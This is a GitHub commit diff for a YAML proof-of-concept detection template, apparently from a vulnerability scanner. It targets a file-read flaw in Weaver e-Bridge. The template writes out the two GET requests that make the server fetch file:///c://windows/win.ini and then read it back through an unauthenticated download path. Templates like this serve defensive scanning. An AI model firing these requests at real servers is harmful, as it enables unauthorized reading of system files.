Skip to content

Commit

Permalink
Update and rename weaver-e-bridge-win-file-read.yml to weaver-ebridge…
Browse files Browse the repository at this point in the history
…-file-read-windows.yml
  • Loading branch information
zema1 authored Sep 13, 2020
1 parent fcd97c7 commit 1198c36
Showing 1 changed file with 3 additions and 3 deletions.
Original file line number Diff line number Diff line change
@@ -1,17 +1,17 @@
name: poc-yaml-weaver-e-bridge-win-file-read
name: poc-yaml-weaver-ebridge-file-read-windows
rules:
- method: GET
path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"id")
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
search: |
\"id\"\:\"(?P<var>.+?)\"\,
- method: GET
path: /file/fileNoLogin/{{var}}
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"; for 16-bit app support")
response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
detail:
author: mvhz81
info: e-bridge-file-read for windows
Expand Down

0 comments on commit 1198c36

Please sign in to comment.